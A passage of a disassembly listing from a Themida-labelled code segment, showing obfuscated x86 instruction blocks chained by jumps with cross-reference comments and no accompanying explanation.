jmp loc_55C4E4
; ---------------------------------------------------------------------------
loc_5546AE: ; CODE XREF: Themida_:005572E6j
pop edx
or ebp, 69933F55h
jmp loc_55CA13
; ---------------------------------------------------------------------------
loc_5546BA: ; CODE XREF: Themida_:0055C718j
add ebp, 4
push esi
mov esi, 4
add ebp, esi
mov esi, [esp]
jmp loc_557F89
; ---------------------------------------------------------------------------
loc_5546D0: ; CODE XREF: Themida_:00553F85j
mov [esp], edi
jmp loc_55539E
; ---------------------------------------------------------------------------
loc_5546D8: ; CODE XREF: Themida_:0055B683j
mov ebx, [esp]
add esp, 4
push eax
mov eax, 2ED17475h
xchg eax, edi
jmp loc_55BEEF
; ---------------------------------------------------------------------------
loc_5546EA: ; CODE XREF: Themida_:005569A3j
movzx cx, ah
jmp loc_557837
; ---------------------------------------------------------------------------
loc_5546F3: ; CODE XREF: Themida_:00557562j
push edx
mov edx, 763E4CCFh
add ebx, 7B1748E9h
jmp loc_55BAFF
; ---------------------------------------------------------------------------
loc_554704: ; CODE XREF: Themida_:0055BDC5j
push edx
push esi
jmp loc_5518EB
; ---------------------------------------------------------------------------
push ax
mov ah, ch
mov ch, [esp+2]
jmp loc_554956
; ---------------------------------------------------------------------------
loc_554718: ; CODE XREF: Themida_:0055AC65j
mov ecx, 0A2BBF99Dh
jmp loc_55D14B
; ---------------------------------------------------------------------------
loc_554722: ; CODE XREF: Themida_:0055B08Ej
add esi, 4
jmp loc_551BF3
; ---------------------------------------------------------------------------
loc_55472D: ; CODE XREF: Themida_:005585FEj
pop eax
add dl, bl
sub dl, 67h
pop ebx
push ebx
mov bh, 0C9h
push eax
mov ah, 8Eh
or ah, 6Dh
jmp loc_5522B1
; ---------------------------------------------------------------------------
loc_554742: ; CODE XREF: Themida_:005552BFj
shl dl, 4
or dl, 63h
dec dl
xor dl, 38h
xor ch, dl
mov edx, [esp]
jmp loc_55DB05
; ---------------------------------------------------------------------------
loc_554757: ; CODE XREF: Themida_:0055A312j
add esp, 4
add dword ptr [esp+4], 0FAB22CEh
add dword ptr [esp+4], 34B34511h
sub [esp+4], ebp
push eax
mov eax, 34B34511h
sub [esp+8], eax
mov eax, [esp]
jmp loc_55350D
; ---------------------------------------------------------------------------
push dword ptr [edi+2Ch]
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55478B: ; CODE XREF: Themida_:0055C656j
mov [esp], eax
mov eax, esp
jmp loc_553EAA
; ---------------------------------------------------------------------------
loc_554795: ; CODE XREF: Themida_:00553BAEj
mov dx, [esp]
add esp, 2
add ax, 372Bh
add ax, bp
sub ax, 372Bh
mov ebp, [esp]
add esp, 4
sub bx, 0B6Eh
push ebp
mov bp, 5C29h
add bp, 56C6h
jmp loc_55D9C2
; ---------------------------------------------------------------------------
loc_5547C1: ; CODE XREF: Themida_:0055BBE4j
push dword ptr [esp]
mov edx, [esp]
push 54F8h
mov [esp], edx
mov edx, esp
add edx, 4
push ecx
jmp loc_559EEA
; ---------------------------------------------------------------------------
loc_5547DD: ; CODE XREF: Themida_:0055C3C5j
shl cl, 1
dec cl
dec cl
add cl, 59h
sub al, cl
pop ecx
sub esp, 4
mov [esp], ecx
jmp loc_553676
; ---------------------------------------------------------------------------
loc_5547F7: ; CODE XREF: Themida_:0055CA16j
sub ebp, 0EBDF3Bh
add esi, 7F9A6468h
add esi, ebp
sub esi, 7F9A6468h
pop ebp
add esi, 4
xchg esi, [esp]
pop esp
mov edx, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xor ebx, [esp]
xor [esp], ebx
jmp loc_55CCFB
; ---------------------------------------------------------------------------
loc_554838: ; CODE XREF: Themida_:00553FF7j
cmp dword ptr [edi+20h], 0
jz loc_55A826
push 26BEh
jmp loc_5529BE
; ---------------------------------------------------------------------------
mov eax, [esp]
push 2DC2h
mov [esp], eax
mov eax, esp
push ecx
mov ecx, 63BF0FC2h
dec ecx
jmp loc_5592F7
; ---------------------------------------------------------------------------
loc_554865: ; CODE XREF: Themida_:00552097j
add esp, 4
jmp loc_55C921
; ---------------------------------------------------------------------------
loc_55486D: ; CODE XREF: Themida_:005588CFj
add edi, eax
pop eax
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_55375A
; ---------------------------------------------------------------------------
loc_55487F: ; CODE XREF: Themida_:00558B93j
mov esi, esp
add esi, 4
jmp loc_55CF31
; ---------------------------------------------------------------------------
loc_55488C: ; CODE XREF: Themida_:00555C01j
or ch, 0C9h
add ch, 0CDh
sub al, 26h
sub al, ch
sub esp, 4
mov [esp], ecx
jmp loc_556D93
; ---------------------------------------------------------------------------
loc_5548A4: ; CODE XREF: Themida_:00558D6Fj
mov [esp], edx
push esp
jmp loc_55A5D1
; ---------------------------------------------------------------------------
loc_5548AD: ; CODE XREF: Themida_:00558DA1j
add esp, 4
push ebp
mov ebp, 252C56F9h
jmp loc_552377
; ---------------------------------------------------------------------------
loc_5548BB: ; CODE XREF: Themida_:00551DB7j
dec al
inc al
push ebx
mov bl, 51h
xor al, bl
pop ebx
add ch, al
pop eax
add dh, ch
pop ecx
push eax
jmp loc_551AD3
; ---------------------------------------------------------------------------
loc_5548D1: ; CODE XREF: Themida_:0055304Ej
pop eax
jmp loc_551B32
; ---------------------------------------------------------------------------
loc_5548D7: ; CODE XREF: Themida_:0055B2C2j
pop esi
and esi, 0CAD3254h
not esi
jmp loc_551F8F
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
jmp loc_557618
; ---------------------------------------------------------------------------
loc_5548F1: ; CODE XREF: Themida_:0055D7BDj
mov dl, 66h
or dl, 0C1h
push eax
mov ah, dl
not ah
mov dl, ah
pop eax
shl dl, 8
jmp loc_55C274
; ---------------------------------------------------------------------------
loc_554906: ; CODE XREF: Themida_:00552B94j
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
add ebp, ecx
pop ecx
add ebp, 2
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
push 13BBh
mov [esp], ecx
push 0
jmp loc_555A50
; ---------------------------------------------------------------------------
loc_554938: ; CODE XREF: Themida_:005564C1j
inc eax
shr eax, 1
add eax, 614ED443h
jmp loc_552F1E
; ---------------------------------------------------------------------------
loc_554945: ; CODE XREF: Themida_:0055B431j
pop esp
mov [esp], edx
jmp loc_55D351
; ---------------------------------------------------------------------------
loc_55494E: ; CODE XREF: Themida_:0055529Fj
xor ecx, [esp]
jmp loc_554270
; ---------------------------------------------------------------------------
loc_554956: ; CODE XREF: Themida_:00554713j
mov [esp+2], ah
mov ax, [esp]
add esp, 2
not ch
push small 49A4h
mov [esp], bx
push 6D88h
mov [esp], eax
sub esp, 4
mov [esp], ebx
jmp loc_556A93
; ---------------------------------------------------------------------------
loc_554981: ; CODE XREF: Themida_:00559FB7j
xor ch, 7Dh
add al, ch
mov ecx, [esp]
add esp, 4
add bl, 8Ah
push ecx
push 701h
mov [esp], eax
push ebx
mov bl, 7Fh
sub bl, 8Dh
neg bl
add bl, 63h
or bl, 0E1h
sub bl, 2
mov ah, bl
pop ebx
neg ah
shl ah, 5
sub ah, 8Ch
xor ah, 0C2h
mov ch, ah
pop eax
jmp loc_55CA67
; ---------------------------------------------------------------------------
loc_5549C2: ; CODE XREF: Themida_:005571A9j
push esi
mov esi, 39077550h
jmp loc_55999D
; ---------------------------------------------------------------------------
loc_5549CD: ; CODE XREF: Themida_:005579C2j
xchg edx, [esp]
jmp loc_556A0A
; ---------------------------------------------------------------------------
loc_5549D5: ; CODE XREF: Themida_:00552042j
push ecx
push ebp
jmp loc_5598EF
; ---------------------------------------------------------------------------
loc_5549DC: ; CODE XREF: Themida_:0055614Fj
mov cx, [esp]
push ecx
push esp
pop ecx
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], edx
jmp loc_5522F8
; ---------------------------------------------------------------------------
loc_5549FA: ; CODE XREF: Themida_:0055DAA5j
mov esp, [esp]
mov [esp], cx
jmp loc_551815
; ---------------------------------------------------------------------------
loc_554A06: ; CODE XREF: Themida_:005594D1j
mov ebx, esp
add ebx, 4
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
jmp loc_558768
; ---------------------------------------------------------------------------
loc_554A22: ; CODE XREF: Themida_:0055B14Ej
inc dh
jmp loc_55BB99
; ---------------------------------------------------------------------------
loc_554A29: ; CODE XREF: Themida_:00559A56j
sub esp, 4
jmp loc_553B6E
; ---------------------------------------------------------------------------
loc_554A34: ; CODE XREF: Themida_:0055527Ej
sub eax, 2069E44Ch
add ecx, eax
pop eax
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_556059
; ---------------------------------------------------------------------------
push 48C1h
mov [esp], ebp
jmp loc_55BDCA
; ---------------------------------------------------------------------------
loc_554A5A: ; CODE XREF: Themida_:00557A17j
sub eax, 46831725h
sub eax, 8D77ADFh
add eax, edi
push ecx
mov ecx, 5BF51490h
shl ecx, 2
not ecx
jmp loc_551D68
; ---------------------------------------------------------------------------
loc_554A76: ; CODE XREF: Themida_:0055338Dj
add esi, edi
pop edi
jmp loc_55617E
; ---------------------------------------------------------------------------
loc_554A7E: ; CODE XREF: Themida_:0055D0DCj
push eax
mov eax, 79E15D7Eh
add edi, eax
pop eax
pop esi
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
add edi, ebp
sub edi, 7A5A22E0h
pop ebp
jmp loc_557B48
; ---------------------------------------------------------------------------
loc_554AA0: ; CODE XREF: Themida_:00558628j
sub eax, 0FA633BD0h
xor ebx, eax
pop eax
add ebx, 0C785C63Dh
jmp loc_55D537
; ---------------------------------------------------------------------------
loc_554AB3: ; CODE XREF: Themida_:0055A179j
add ecx, ebx
push ebp
mov ebp, 3CF12297h
add ecx, 744167DBh
sub ecx, 87C3951h
add ecx, ebp
add ecx, 87C3951h
jmp loc_55A290
; ---------------------------------------------------------------------------
loc_554AD4: ; CODE XREF: Themida_:00559C8Cj
push ebx
mov ebx, esp
add ebx, 4
push ecx
jmp loc_55AF34
; ---------------------------------------------------------------------------
loc_554AE3: ; CODE XREF: Themida_:005576C3j
mov eax, 6B272366h
and eax, 6AE2A21h
neg eax
push esi
jmp loc_55C60D
; ---------------------------------------------------------------------------
pop edx
pop ecx
sub bl, 0DEh
add al, bl
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_557B03
; ---------------------------------------------------------------------------
loc_554B0B: ; CODE XREF: Themida_:0055BEEAj
push dword ptr [esp+4]
pop ecx
jmp loc_55A0E5
; ---------------------------------------------------------------------------
loc_554B15: ; CODE XREF: Themida_:00554DB5j
push esi
mov esi, 4AC8057Fh
push ebp
mov ebp, 77D8765Bh
or esi, ebp
pop ebp
xor esi, 7FD8777Bh
add ecx, esi
jmp loc_559646
; ---------------------------------------------------------------------------
loc_554B31: ; CODE XREF: Themida_:00554D6Dj
push edi
mov edi, esp
push 2484h
mov [esp], edx
mov edx, 3FEA39A4h
jmp loc_5558E1
; ---------------------------------------------------------------------------
loc_554B46: ; CODE XREF: Themida_:0055D4D2j
add edx, 4
sub esp, 4
mov [esp], edi
push esi
mov esi, 4
mov edi, esi
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_557F5E
; ---------------------------------------------------------------------------
loc_554B66: ; CODE XREF: Themida_:005523C8j
mov [esp], edi
push esi
mov esi, 2677AB70h
push esi
pop edi
jmp loc_55CA87
; ---------------------------------------------------------------------------
loc_554B76: ; CODE XREF: Themida_:0055D532j
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push eax
push 42C660C8h
pop eax
jmp loc_55CE8E
; ---------------------------------------------------------------------------
loc_554B8C: ; CODE XREF: Themida_:0055A50Fj
add esi, 6178580Ah
jmp loc_55833F
; ---------------------------------------------------------------------------
loc_554B97: ; CODE XREF: Themida_:005594DFj
sub ecx, 2AB32C79h
jmp loc_55C8DA
; ---------------------------------------------------------------------------
loc_554BA2: ; CODE XREF: Themida_:005582BAj
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
add [esp], eax
push 56E0h
jmp loc_558E0B
; ---------------------------------------------------------------------------
loc_554BBC: ; CODE XREF: Themida_:0055945Ej
; Themida_:0055C705j
push ebx
sub esp, 4
mov [esp], ebp
push edx
mov edx, 578348BBh
xor edx, 496942D1h
inc edx
push ebx
mov ebx, 6BBA60A9h
or ebx, 614B2507h
add ebx, 0EAE2E29Fh
and edx, ebx
pop ebx
inc edx
dec edx
jmp loc_557317
; ---------------------------------------------------------------------------
loc_554BEC: ; CODE XREF: Themida_:0055A037j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
pop eax
push ebx
push 2E5011A7h
jmp loc_557D23
; ---------------------------------------------------------------------------
loc_554C07: ; CODE XREF: Themida_:00551A5Bj
not eax
jmp loc_55DAAA
; ---------------------------------------------------------------------------
loc_554C0E: ; CODE XREF: Themida_:0055B8E8j
add [esp+4], ebp
add dword ptr [esp+4], 492939h
pop ebp
pop esi
push 450Ch
mov [esp], ecx
mov ecx, 64E2494Dh
and ecx, 7D3865BCh
or ecx, 7CF119EBh
jmp loc_553172
; ---------------------------------------------------------------------------
loc_554C3A: ; CODE XREF: Themida_:0055BE3Aj
push dword ptr [esp]
jmp loc_5551E0
; ---------------------------------------------------------------------------
loc_554C42: ; CODE XREF: Themida_:0055BAC7j
push ebp
push esp
pop ebp
add ebp, 4
push edx
mov edx, 2
sub ebp, 37C921B2h
add ebp, 2BB865F6h
jmp loc_559E1E
; ---------------------------------------------------------------------------
loc_554C62: ; CODE XREF: Themida_:00558923j
bt [esp], ax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_554C6D: ; CODE XREF: Themida_:00558D82j
mov ecx, [esp]
jmp loc_553A0B
; ---------------------------------------------------------------------------
loc_554C75: ; CODE XREF: Themida_:0055D4F5j
sub edi, 0B623CF1Dh
add eax, edi
pop edi
push edx
push 7F92h
mov [esp], eax
mov eax, 0AD601A1h
not eax
jmp loc_5520DA
; ---------------------------------------------------------------------------
loc_554C93: ; CODE XREF: Themida_:00555230j
push ebx
mov ebx, 0B740A31h
add ebx, 0ED1DEB16h
sub edi, ebx
pop ebx
mov ecx, edi
jmp loc_55446A
; ---------------------------------------------------------------------------
loc_554CA9: ; CODE XREF: Themida_:00555CACj
push ecx
mov ecx, 30A40DFBh
shl ecx, 2
jmp loc_55D6FC
; ---------------------------------------------------------------------------
loc_554CB7: ; CODE XREF: Themida_:00557F67j
xor edx, [esp]
mov esp, [esp]
push 5DA3h
mov [esp], edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_55CE42
; ---------------------------------------------------------------------------
loc_554CD8: ; CODE XREF: Themida_:00556076j
sub ecx, 13440421h
jmp loc_55C54F
; ---------------------------------------------------------------------------
loc_554CE3: ; CODE XREF: Themida_:0055C7D7j
mov ebp, 604C44DCh
shl ebp, 5
neg ebp
jmp loc_553D26
; ---------------------------------------------------------------------------
loc_554CF2: ; CODE XREF: Themida_:0055DD51j
pop ecx
jmp loc_551815
; ---------------------------------------------------------------------------
loc_554CF8: ; CODE XREF: Themida_:00559735j
pop eax
add esi, 4
xchg esi, [esp]
pop esp
push 685Dh
mov [esp], ebx
push ecx
mov ecx, esp
push edi
mov edi, 449179D7h
jmp loc_5523B8
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebx
push esp
pop ebx
sub esp, 4
mov [esp], edi
mov edi, 15883D18h
add edi, 71917D32h
jmp loc_5524DC
; ---------------------------------------------------------------------------
loc_554D36: ; CODE XREF: Themida_:00553BF7j
sub di, 0E9B5h
sub ax, di
pop edi
shl ax, 4
shr ax, 5
and ax, 6193h
xor ax, 0AF7h
xor si, ax
pop ax
mov di, si
mov esi, [esp]
add esp, 4
add bx, di
mov di, [esp]
add esp, 2
movzx eax, ax
jmp loc_554B31
; ---------------------------------------------------------------------------
loc_554D72: ; CODE XREF: Themida_:0055D7A6j
add ebx, 4
push ebx
push dword ptr [esp+4]
jmp loc_55CCCD
; ---------------------------------------------------------------------------
loc_554D7F: ; CODE XREF: Themida_:005569B3j
push 36C9h
jmp loc_552672
; ---------------------------------------------------------------------------
loc_554D89: ; CODE XREF: Themida_:0055289Bj
dec esi
xor esi, 0E443B983h
jmp loc_552B4F
; ---------------------------------------------------------------------------
loc_554D95: ; CODE XREF: Themida_:00552E46j
xchg ecx, [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_55225C
; ---------------------------------------------------------------------------
loc_554DA3: ; CODE XREF: Themida_:00557DA5j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov eax, [esp]
push ecx
push esp
pop ecx
jmp loc_554B15
; ---------------------------------------------------------------------------
loc_554DBA: ; CODE XREF: Themida_:0055CA21j
neg esi
jmp loc_55220E
; ---------------------------------------------------------------------------
loc_554DC1: ; CODE XREF: Themida_:00555778j
mov edx, esp
add edx, 4
jmp loc_5579BF
; ---------------------------------------------------------------------------
loc_554DCE: ; CODE XREF: Themida_:0055D683j
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
xor ebx, [esp]
xor [esp], ebx
jmp loc_5523D8
; ---------------------------------------------------------------------------
loc_554DE3: ; CODE XREF: Themida_:0055C9AFj
add esp, 4
sub edx, 2
push edx
push dword ptr [esp+4]
mov edx, [esp]
push eax
push esp
pop eax
jmp loc_55CC60
; ---------------------------------------------------------------------------
loc_554DF9: ; CODE XREF: Themida_:005550EFj
shr edx, 8
jmp loc_55331F
; ---------------------------------------------------------------------------
loc_554E01: ; CODE XREF: Themida_:0055B007j
add ecx, 3098716Bh
pop edx
sub ebx, ecx
pop ecx
xchg ebx, [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_55D007
; ---------------------------------------------------------------------------
loc_554E19: ; CODE XREF: Themida_:00553E57j
add eax, 4
xchg eax, [esp]
pop esp
pop eax
push ebp
push esp
pop ebp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
jmp loc_55D688
; ---------------------------------------------------------------------------
loc_554E37: ; CODE XREF: Themida_:00553EAFj
push 57D4h
jmp loc_55CDCB
; ---------------------------------------------------------------------------
loc_554E41: ; CODE XREF: Themida_:0055C6AEj
mov edi, 871D11h
mov edx, 0FF78E30Bh
add edx, edi
pop edi
add edx, edi
push ebx
mov ebx, 0
jmp loc_55BB2B
; ---------------------------------------------------------------------------
loc_554E5B: ; CODE XREF: Themida_:00553138j
add eax, ebx
push dword ptr [esp]
pop ebx
jmp loc_557719
; ---------------------------------------------------------------------------
loc_554E66: ; CODE XREF: Themida_:005555C1j
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov esi, [esp]
jmp loc_55CFF7
; ---------------------------------------------------------------------------
loc_554E79: ; CODE XREF: Themida_:00553960j
xor ebx, 729C59DAh
jmp loc_5526AE
; ---------------------------------------------------------------------------
loc_554E84: ; CODE XREF: Themida_:0055D42Fj
mov [esp], eax
mov eax, 64CC2532h
shl eax, 1
jmp loc_55911F
; ---------------------------------------------------------------------------
loc_554E93: ; CODE XREF: Themida_:00555B62j
xchg ebx, [esp]
mov esp, [esp]
push ecx
push edx
push 10DC71E2h
pop edx
add edx, 1
jmp loc_55B344
; ---------------------------------------------------------------------------
loc_554EAC: ; CODE XREF: Themida_:00558246j
shr dh, 2
sub dh, 0BCh
sub dh, 0A0h
inc dh
jmp loc_55826C
; ---------------------------------------------------------------------------
loc_554EBC: ; CODE XREF: Themida_:0055723Aj
neg edx
or edx, 43CE103Ch
push 53A2h
mov [esp], edi
mov edi, 5926485Eh
neg edi
sub edi, 0F6A96D1Fh
add edx, edi
pop edi
add eax, 1DB41175h
jmp loc_555F10
; ---------------------------------------------------------------------------
loc_554EE6: ; CODE XREF: Themida_:0055BC4Dj
add edx, eax
push 5087h
jmp loc_55CE61
; ---------------------------------------------------------------------------
loc_554EF2: ; CODE XREF: Themida_:0055D2A0j
shl dword ptr [esp], cl
jmp loc_5528A0
; ---------------------------------------------------------------------------
loc_554EFA: ; CODE XREF: Themida_:00559744j
and edx, ebp
pop ebp
sub edx, 6B087ED2h
jmp loc_5586B4
; ---------------------------------------------------------------------------
loc_554F08: ; CODE XREF: Themida_:00558CC4j
mov ebx, 4
jmp loc_55BE8E
; ---------------------------------------------------------------------------
loc_554F12: ; CODE XREF: Themida_:00551AE4j
pop ebp
jmp loc_5583A2
; ---------------------------------------------------------------------------
loc_554F18: ; CODE XREF: Themida_:00556B9Dj
add edi, 0F3BBD9ACh
jmp loc_55AAD0
; ---------------------------------------------------------------------------
loc_554F23: ; CODE XREF: Themida_:0055310Fj
mov bh, ah
pop eax
add bh, 7Ah
add bh, 8
sub esp, 2
mov [esp], dx
mov dl, 0Bh
xor bh, dl
pop dx
shl bh, 3
jmp loc_5529F1
; ---------------------------------------------------------------------------
loc_554F41: ; CODE XREF: Themida_:005592ACj
add eax, 6ECC3E38h
add eax, esi
push ecx
mov ecx, 6ECC3E38h
jmp loc_559D6F
; ---------------------------------------------------------------------------
loc_554F53: ; CODE XREF: Themida_:00552F24j
sub ebx, 5654ADBh
jmp loc_5536DC
; ---------------------------------------------------------------------------
lodsd
push edi
jmp loc_55C722
; ---------------------------------------------------------------------------
loc_554F65: ; CODE XREF: Themida_:0055CFF2j
push ecx
jmp loc_5531EC
; ---------------------------------------------------------------------------
loc_554F6B: ; CODE XREF: Themida_:0055D362j
sub esp, 4
mov [esp], eax
push ecx
mov ecx, 73EE4778h
mov eax, 20C1066h
add eax, ecx
pop ecx
sub ecx, eax
pop eax
jmp loc_556176
; ---------------------------------------------------------------------------
loc_554F87: ; CODE XREF: Themida_:0055285Bj
xchg eax, [esp]
pop esp
jmp loc_555490
; ---------------------------------------------------------------------------
loc_554F90: ; CODE XREF: Themida_:0055BD54j
shr esi, 3
xor esi, 1002906h
add edx, esi
pop esi
add edx, 2
jmp loc_5533B1
; ---------------------------------------------------------------------------
loc_554FA4: ; CODE XREF: Themida_:0055CE5Cj
pop ebx
and dh, 32h
sub dh, 0ECh
xor dh, 2Ch
jmp loc_55C40D
; ---------------------------------------------------------------------------
loc_554FB3: ; CODE XREF: Themida_:0055607Dj
mov cl, ah
mov bh, cl
pop ecx
pop ax
not bh
push dx
mov dl, 83h
sub bh, dl
pop dx
xor al, bh
mov ebx, [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_55D7F9
; ---------------------------------------------------------------------------
loc_554FD7: ; CODE XREF: Themida_:00551C6Dj
mov esi, 20310EA4h
dec esi
not esi
or esi, 546F1DC5h
inc esi
jmp loc_55A020
; ---------------------------------------------------------------------------
loc_554FEB: ; CODE XREF: Themida_:00552B8Ej
add esi, ecx
pop ecx
add esi, 4
xchg esi, [esp]
pop esp
xchg ecx, [esp]
jmp loc_5554E9
; ---------------------------------------------------------------------------
loc_554FFD: ; CODE XREF: Themida_:00551F43j
add esp, 4
loc_555000: ; CODE XREF: Themida_:00558D76j
push edi
push esp
jmp loc_558AE6
; ---------------------------------------------------------------------------
loc_555007: ; CODE XREF: Themida_:00558121j
sub ebx, edx
pop edx
add ebx, 68CB5DCDh
sub ebx, edx
sub ebx, 68CB5DCDh
push ebp
mov ebp, 4B053FC1h
jmp loc_55C051
; ---------------------------------------------------------------------------
loc_555023: ; CODE XREF: Themida_:00559551j
dec ecx
add ecx, 0A27795F2h
sub edx, ecx
pop ecx
mov ecx, edx
push dword ptr [esp]
jmp loc_552B93
; ---------------------------------------------------------------------------
loc_555037: ; CODE XREF: Themida_:0055D352j
mov edx, [esp]
jmp loc_551BD5
; ---------------------------------------------------------------------------
push 7930h
push 1AE4h
push esp
pop dword ptr [esp]
jmp loc_55C120
; ---------------------------------------------------------------------------
loc_555052: ; CODE XREF: Themida_:005522D4j
mov edx, edi
jmp loc_558F9D
; ---------------------------------------------------------------------------
loc_555059: ; CODE XREF: Themida_:0055A57Aj
xor ebx, 6ED32EA9h
xor ebx, 244D69C4h
mov edx, ebx
pop ebx
push ecx
jmp loc_557CC1
; ---------------------------------------------------------------------------
loc_55506E: ; CODE XREF: Themida_:00556FBEj
pop ebp
mov edx, [esp]
add esp, 4
pop ebp
push 6569h
mov [esp], ecx
mov ecx, 434B1AB4h
push edx
push esi
mov esi, 0BDB4E54Ch
mov edx, esi
mov esi, [esp]
add esp, 4
jmp loc_558311
; ---------------------------------------------------------------------------
loc_555097: ; CODE XREF: Themida_:00556B93j
pop dx
add dl, ch
pop ecx
add al, dl
pop edx
push 76EEh
jmp loc_556E01
; ---------------------------------------------------------------------------
loc_5550A9: ; CODE XREF: Themida_:0055AF2Fj
xchg edi, [esp]
mov esp, [esp]
mov [esp], ebp
jmp loc_551ADD
; ---------------------------------------------------------------------------
loc_5550B7: ; CODE XREF: Themida_:00552DC1j
push dword ptr [esp]
jmp loc_55CEA9
; ---------------------------------------------------------------------------
loc_5550BF: ; CODE XREF: Themida_:00556B52j
sub esp, 4
mov [esp], ebx
mov ebx, esp
push 43A5h
mov [esp], edx
mov edx, 7F503C5Ah
shl edx, 1
xor edx, 6E96DCBh
push ebp
mov ebp, 307C290Fh
and edx, ebp
mov ebp, [esp]
add esp, 4
neg edx
jmp loc_554DF9
; ---------------------------------------------------------------------------
loc_5550F4: ; CODE XREF: Themida_:0055B58Cj
pop ebx
add eax, 204371C7h
sub eax, 37642D08h
sub eax, ebx
add eax, 37642D08h
push ecx
mov ecx, 5A00950h
xor ecx, 3E763B2Dh
xor ecx, 1B9543BAh
sub eax, ecx
jmp loc_55C4EC
; ---------------------------------------------------------------------------
loc_55511F: ; CODE XREF: Themida_:0055B388j
add esp, 4
add esi, 4
jmp loc_55A17E
; ---------------------------------------------------------------------------
loc_55512D: ; CODE XREF: Themida_:00557208j
pop esi
xchg edx, [esp]
mov esp, [esp]
sar byte ptr [esp], cl
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55513D: ; CODE XREF: Themida_:00556982j
push eax
mov eax, 189F07DFh
add eax, 676042EAh
xor ebp, eax
pop eax
push edx
mov edx, ebp
jmp loc_55A1BA
; ---------------------------------------------------------------------------
loc_555153: ; CODE XREF: Themida_:0055B271j
mov esi, esp
add esi, 4
sub esp, 4
mov [esp], ebx
push edi
mov edi, 4
mov ebx, edi
jmp $+5
mov edi, [esp]
add esp, 4
add esi, 1D0C5DF4h
add esi, 70DC6B90h
add esi, 5EB674Fh
add esi, ebx
sub esi, 5EB674Fh
sub esi, 70DC6B90h
sub esi, 1D0C5DF4h
mov ebx, [esp]
add esp, 4
jmp loc_556E32
; ---------------------------------------------------------------------------
loc_5551A8: ; CODE XREF: Themida_:00557C4Bj
push edi
push edx
mov edx, 69F52DB4h
xor edx, 2F2F02C4h
and edx, 62382927h
add edx, 14C6E48Ah
mov edi, edx
pop edx
push esi
mov esi, 70B269C2h
jmp loc_55543C
; ---------------------------------------------------------------------------
loc_5551CF: ; CODE XREF: Themida_:0055A46Bj
push dx
mov dh, 17h
jmp loc_552C62
; ---------------------------------------------------------------------------
loc_5551D8: ; CODE XREF: Themida_:00559DB5j
mov edx, [esp]
jmp loc_55439B
; ---------------------------------------------------------------------------
loc_5551E0: ; CODE XREF: Themida_:00554C3Dj
pop ecx
sub esp, 4
jmp loc_55D8D3
; ---------------------------------------------------------------------------
loc_5551EC: ; CODE XREF: Themida_:0055BCC5j
pop ebx
add ecx, 2EF6566h
sub edx, 76193E24h
add edx, ecx
add edx, 76193E24h
pop ecx
jmp loc_5572C8
; ---------------------------------------------------------------------------
loc_555207: ; CODE XREF: Themida_:0055CB1Dj
mov bh, dl
mov ah, bh
jmp loc_551C2E
; ---------------------------------------------------------------------------
lodsd
sub eax, 3B664393h
sub eax, 590F4314h
add eax, 3D724A9Fh
add eax, ebx
push ecx
push 5DDh
mov [esp], edi
mov edi, 1C8C0C21h
jmp loc_554C93
; ---------------------------------------------------------------------------
loc_555235: ; CODE XREF: Themida_:0055877Fj
mov edx, 5B2B5951h
push edx
mov edx, 2A410609h
not edx
shr edx, 6
sub edx, 0A6D6A5EFh
add eax, edx
pop edx
jmp loc_55787F
; ---------------------------------------------------------------------------
loc_555253: ; CODE XREF: Themida_:0055787Aj
push edx
mov edx, 1C947F2Eh
xor edx, 51926872h
sub edx, 0DA578E7h
add edx, 7C89B1Dh
sub eax, edx
pop edx
push 2886h
mov [esp], ecx
mov ecx, 17950EADh
xor eax, ecx
pop ecx
jmp loc_554A34
; ---------------------------------------------------------------------------
loc_555283: ; CODE XREF: Themida_:00559028j
add dword ptr [esp], 4
pop esi
add esi, 4
push ecx
mov ecx, esp
jmp loc_5564C6
; ---------------------------------------------------------------------------
loc_555299: ; CODE XREF: Themida_:00551992j
add ecx, 4
jmp loc_55494E
; ---------------------------------------------------------------------------
loc_5552A4: ; CODE XREF: Themida_:00555A3Aj
xor ebp, [esp]
pop esp
jmp loc_5583CC
; ---------------------------------------------------------------------------
loc_5552AD: ; CODE XREF: Themida_:005545A6j
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edx
mov dl, 44h
sub dl, 51h
jmp loc_554742
; ---------------------------------------------------------------------------
loc_5552C4: ; CODE XREF: Themida_:00558C8Aj
pop edx
add esi, ecx
pop ecx
xchg esi, [esp]
pop esp
mov ax, [esp]
push ecx
push esp
pop ecx
jmp loc_55BFBB
; ---------------------------------------------------------------------------
loc_5552D8: ; CODE XREF: Themida_:0055AE35j
xchg ah, cl
not cl
add cl, 43h
and al, cl
push dword ptr [esp]
pop ecx
push edi
jmp loc_55A157
; ---------------------------------------------------------------------------
loc_5552EB: ; CODE XREF: Themida_:00551D42j
mov [esp], esi
push esp
pop esi
push 763Dh
mov [esp], edi
jmp loc_55CB22
; ---------------------------------------------------------------------------
